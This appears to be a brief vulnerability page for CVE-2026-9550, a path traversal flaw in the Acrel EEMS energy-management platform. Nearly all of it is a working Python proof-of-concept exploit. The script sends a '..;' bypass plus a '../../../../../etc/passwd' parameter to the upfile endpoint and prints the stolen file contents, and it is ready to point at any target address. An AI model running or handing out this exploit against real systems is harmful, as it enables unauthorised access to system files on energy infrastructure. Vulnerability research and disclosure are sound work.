CVE-2026-9550: Acrel EEMS平台路径遍历漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-9550 Path Traversal Vulnerability """ # The vulnerable endpoint endpoint = "/SubstationWEBV2/app/..;/main/upfile" # Payload to traverse to the root directory # Adjusting the number of "../" depends on the current working directory payload = { "path": "../../../../../etc/passwd" } try: response = requests.get(target_url + endpoint, params=payload, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Vulnerability exists! Successfully read /etc/passwd.") print(response.text[:500]) # Print part of the response else: print("[-] Vulnerability does not exist or target is not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": url = "http://192.168.1.100" # Replace with actual target IP check_vulnerability(url)